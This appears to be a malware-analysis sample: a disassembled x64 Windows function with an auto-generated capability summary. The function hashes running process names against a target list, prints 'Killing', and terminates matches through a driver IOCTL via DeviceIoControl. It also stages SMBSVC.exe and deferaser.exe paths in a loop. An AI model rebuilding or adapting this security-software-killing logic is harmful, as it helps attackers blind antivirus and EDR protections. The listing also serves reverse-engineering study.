Function at 0x1400059c0
Capabilities:
Accept command line arguments
Encode data using xor
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x14004b040]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov r13, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xor edi, edi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
lea ecx, [rdi + 0x38]
call fcn.14000fa58
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
lea ecx, [rdi + 0x38]
call fcn.14000fa58
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rsp + 0x40], rax
mov r12d, edi
nop dword [rax]
lea rcx, [rsp + 0x70]
call fcn.1400043a0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.1400052c0
mov r15, qword [rsp + 0x40]
mov rbx, qword [r15]
mov rdx, rbx
cmp rbx, r15
je 0x140005b90
nop dword [rax]
mov r14, qword [rdx + 0x28]
lea r11, [0x14005ce0c]
nop dword [rax + rax]
lea r9, [rdx + 0x10]
cmp r14, 7
jbe 0x140005a9e
mov r9, qword [rdx + 0x10]
xor r8d, r8d
mov rcx, r9
call fcn.140003d60
test eax, eax
je 0x140005ad0
mov r10d, eax
movzx ecx, word [r9]
mov eax, ecx
xor eax, 3
add r8d, eax
rol r8d, 3
ror ecx, 3
add r8d, ecx
lea r9, [r9 + 2]
sub r10, 1
jne 0x140005ab0
cmp dword [r11], r8d
je 0x140005d37
inc edi
add r11, 4
cmp edi, 1
jb 0x140005a90
mov rax, qword [rdx]
mov rdx, rax
cmp rax, r15
mov edi, 0
jne 0x140005a80
cmp rbx, r15
je 0x140005b90
nop dword [rax]
lea rdx, str.Killing
lea rcx, [0x14005bac0]
call fcn.14000b260
lea rdx, [rbx + 0x10]
cmp qword [rbx + 0x28], 7
jbe 0x140005b22
mov rdx, qword [rbx + 0x10]
mov r8, qword [rbx + 0x20]
mov rcx, rax
call fcn.14000d990
mov rcx, rax
lea rdx, [0x14004395c]
call fcn.14000b260
mov eax, dword [rbx + 0x30]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rcx
mov dword [rsp + 0x54], eax
xor edi, edi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9d, [rcx + 0x18]
lea r8, [rsp + 0x50]
mov edx, 0xb4a00404
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, qword [rsp + 0x40]
jne 0x140005b00
cmp r12d, 0xa
jne 0x140005f3a
call fcn.140004580
cmp byte [0x14005cd10], 0
jne 0x140005f3a
call fcn.140004190
mov byte [0x14005cd10], al
lea rdx, str.IsRunningAsService:
lea rcx, [0x14005b940]
call fcn.14000af20
mov rcx, rax
call fcn.140007d90
mov rcx, rax
lea rdx, [0x14004395c]
call fcn.14000af20
cmp byte [0x14005cd10], 0
jne 0x140005f33
call fcn.140005fb0
test al, al
je 0x140005fa5
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], rdi
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140005c20
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.14000b990
nop
mov eax, 1
mov rbx, qword [rbp - 0x70]
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
sub rbx, rax
lea r8, [rbx*2 + 2]
lea rdx, [rcx + rax*2]
call fcn.140035b50
mov qword [rbp - 0x70], rbx
lea r8, [rbx - 2]
cmp rbx, r8
jb 0x140005f9f
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
lea rcx, [rbx - 2]
movzx eax, word [rdx + r8*2 + 4]
mov word [rdx + r8*2], ax
mov qword [rbp - 0x70], rcx
mov r8d, 0x208
lea rdx, [rbp - 0x40]
lea rcx, str.SystemRoot
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
lea rax, [rbp - 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140005cd0
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x50]
call fcn.14000b990
nop
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
sub rax, rdi
cmp rax, 0xb
jb 0x140005d51
lea rax, [rdi + 0xb]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rcx, 7
cmova rbx, qword [rsp + 0x50]
lea rcx, [rbx + rdi*2]
mov r8d, 0x16
lea rdx, str.SMBSVC.exe
call fcn.140035b50
xor esi, esi
mov word [rbx + rdi*2 + 0x16], si
jmp 0x140005d74
lea rdx, str.Unkillable_av_exists_n
lea rcx, [0x14005b940]
call fcn.14000af20
xor edi, edi
jmp 0x140005b90
mov qword [rsp + 0x20], 0xb
lea r9, str.SMBSVC.exe
xor r8d, r8d
lea edx, [r8 + 0xb]
lea rcx, [rsp + 0x50]
call fcn.14000c6d0
xor esi, esi
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 7
cmova rdx, qword [rsp + 0x50]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rcx, qword [rbp - 0x80]
call fcn.1400057f0
mov r8d, 0x208
lea rdx, [rbp - 0x40]
lea rcx, str.TEMP
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], rsi
lea rax, [rbp - 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140005dd0
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.14000b990
nop
mov rdi, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
sub rax, rdi
cmp rax, 0xe
jb 0x140005e2f
lea rax, [rdi + 0xe]
mov qword [rbp - 0x50], rax
lea rbx, [rbp - 0x60]
cmp rcx, 7
cmova rbx, qword [rbp - 0x60]
lea rcx, [rbx + rdi*2]
mov r8d, 0x1c
lea rdx, str.deferaser.exe
call fcn.140035b50
mov word [rbx + rdi*2 + 0x1c], si
jmp 0x140005e50
mov qword [rsp + 0x20], 0xe
lea r9, str.deferaser.exe
xor r8d, r8d
lea edx, [r8 + 0xe]
lea rcx, [rbp - 0x60]
call fcn.14000c6d0
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x140005e90
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f8d
call fcn.14000fa50
xor edi, edi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], di
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x140005ee4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005edf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f93
call fcn.14000fa50
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], di
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140005f33
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005f2e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f99
call fcn.14000fa50
mov byte [0x14005cd10], 1
inc r12d
mov rdx, qword [rsp + 0x70]
call fcn.14000b670
mov rax, qword [rsp + 0x70]
mov qword [rax], rax
mov rax, qword [rsp + 0x70]
mov qword [rax + 8], rax
mov qword [rsp + 0x78], rdi
mov rdx, qword [rsp + 0x40]
call fcn.14000b670
mov rax, qword [rsp + 0x40]
mov qword [rax], rax
mov rax, qword [rsp + 0x40]
mov qword [rax + 8], rax
mov qword [rsp + 0x48], rdi
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005a50
call fcn.14001d020
nop
call fcn.14001d020
nop
call fcn.14001d020
nop
call fcn.14000a920
nop
call fcn.14000f500
int3